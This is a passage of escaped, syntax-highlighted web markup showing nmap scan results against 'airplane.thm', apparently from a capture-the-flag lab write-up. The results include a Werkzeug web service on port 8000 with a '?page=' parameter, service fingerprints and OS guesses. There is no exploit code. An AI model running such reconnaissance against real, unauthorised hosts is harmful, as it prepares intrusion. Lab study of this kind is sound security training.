&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;html lang&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;en&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;title&amp;gt;Redirecting...&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;h1&amp;gt;Redirecting...&amp;lt;/h1&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;p&amp;gt;You should be redirected automatically to the target URL: &amp;lt;a href&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://airplane.thm:8000/?page=index.html&amp;#34;&lt;/span&gt;&amp;gt;http://airplane.thm:8000/?page&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;index.html&amp;lt;/a&amp;gt;. If not, click the link.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   Socks5:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;!DOCTYPE HTML PUBLIC &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;-//W3C//DTD HTML 4.01//EN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.w3.org/TR/html4/strict.dtd&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;meta http-equiv&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/html;charset=utf-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;title&amp;gt;Error response&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;/head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;h1&amp;gt;Error response&amp;lt;/h1&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;p&amp;gt;Error code: 400&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;p&amp;gt;Message: Bad request syntax &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;|     &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;p&amp;gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_    &amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| http-title: About Airplanes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_Requested resource was http://airplane.thm:8000/?page&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;index.html
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SF-Port8000-TCP:V&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;7.94SVN%I&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;7%D&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;6/9%Time&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;66653E9A%P&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;x86_64-pc-linux-gnu%r&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SF:GetRequest,1F3,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:2\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2009\x20Jun\x202024\x2005:33:13\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:h:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:r\nConnection:\x20close\r\n\r\n&amp;lt;!doctype\x20html&amp;gt;\n&amp;lt;html\x20lang=en&amp;gt;\n&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:title&amp;gt;Redirecting\.\.\.&amp;lt;/title&amp;gt;\n&amp;lt;h1&amp;gt;Redirecting\.\.\.&amp;lt;/h1&amp;gt;\n&amp;lt;p&amp;gt;You\x20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20U
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:RL:\x20&amp;lt;a\x20href=\&amp;#34;http://airplane\.thm:8000/\?page=index\.html\&amp;#34;&amp;gt;http
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:://airplane\.thm:8000/\?page=index\.html&amp;lt;/a&amp;gt;\.\x20If\x20not,\x20click\x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:20the\x20link\.\n&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;%r&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;FourOhFourRequest,184,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HTTP/1\.1\x20404\x20NOT\x2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:0FOUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Su
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:n,\x2009\x20Jun\x202024\x2005:33:19\x20GMT\r\nContent-Type:\x20text/htm
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:l;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:\n\r\n&amp;lt;!doctype\x20html&amp;gt;\n&amp;lt;html\x20lang=en&amp;gt;\n&amp;lt;title&amp;gt;404\x20Not\x20Found
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:&amp;lt;/title&amp;gt;\n&amp;lt;h1&amp;gt;Not\x20Found&amp;lt;/h1&amp;gt;\n&amp;lt;p&amp;gt;The\x20requested\x20URL\x20was\x20n
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:ot\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:0again\.&amp;lt;/p&amp;gt;\n&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;%r&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Socks5,213,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;!DOCTYPE\x20HTML\x20PUBLIC\x20\&amp;#34;-//W3C/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:/DTD\x20HTML\x204\.01//EN\&amp;#34;\n\x20\x20\x20\x20\x20\x20\x20\x20\&amp;#34;http://w
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:ww\.w3\.org/TR/html4/strict\.dtd\&amp;#34;&amp;gt;\n&amp;lt;html&amp;gt;\n\x20\x20\x20\x20&amp;lt;head&amp;gt;\n\x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:20\x20\x20\x20\x20\x20\x20\x20&amp;lt;meta\x20http-equiv=\&amp;#34;Content-Type\&amp;#34;\x20c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:ontent=\&amp;#34;text/html;charset=utf-8\&amp;#34;&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;t
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:itle&amp;gt;Error\x20response&amp;lt;/title&amp;gt;\n\x20\x20\x20\x20&amp;lt;/head&amp;gt;\n\x20\x20\x20\x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:20&amp;lt;body&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;h1&amp;gt;Error\x20response&amp;lt;/h1&amp;gt;\n\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;p&amp;gt;Error\x20code:\x20400&amp;lt;/p&amp;gt;\n\x20\x20\x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:20\x20\x20\x20\x20\x20&amp;lt;p&amp;gt;Message:\x20Bad\x20request\x20syntax\x20\(&amp;#39;\\x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03&amp;#39;\)\.&amp;lt;/p&amp;gt;\n\x20\x20\x20\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:x20\x20\x20\x20\x20&amp;lt;p&amp;gt;Error\x20code\x20explanation:\x20HTTPStatus\.BAD_
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SF:\.&amp;lt;/p&amp;gt;\n\x20\x20\x20\x20&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;\n&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; open and &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Aggressive OS guesses: Linux 3.1 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;95%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.2 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;95%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, AXIS 210A or &lt;span style=&#34;color:#ae81ff&#34;&gt;211&lt;/span&gt; Network Camera &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Linux 2.6.17&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;95%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, ASUS RT-N56U WAP &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Linux 3.4&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.16 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Adtran 424RG FTTH gateway &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 2.6.32 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 2.6.39 - 3.2 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.11 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.2 - 4.9 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;No exact OS matches &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; host &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TCP/IP fingerprint:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SCAN&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;V&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;7.94SVN%E&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;4%D&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;6/9%OT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;22%CT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%CU&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;38256%PV&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;2%DC&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;T%G&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N%TM&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;66653F51%P&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;x86_64-pc-linux-gnu&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SEQ&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;SP&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;102%GCD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;1%ISR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;102%TI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%CI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%II&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;I%TS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;A&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OPS&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;O1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508NNT11NW7%O4&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O5&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O6&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WIN&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;W1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F4B3%W2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F4B3%W3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F4B3%W4&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F4B3%W5&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F4B3%W6&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F4B3&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ECN&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F507%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508NNSNW7%CC&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T1&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;O%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S+%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;AS%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T2&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T3&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T4&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;A%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;R%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T5&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S+%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;AR%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T6&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;A%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;R%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T7&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S+%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;AR%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;U1&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%IPL&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;164%UN&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%RIPL&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RID&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RIPCK&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RUCK&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RUD&lt;span 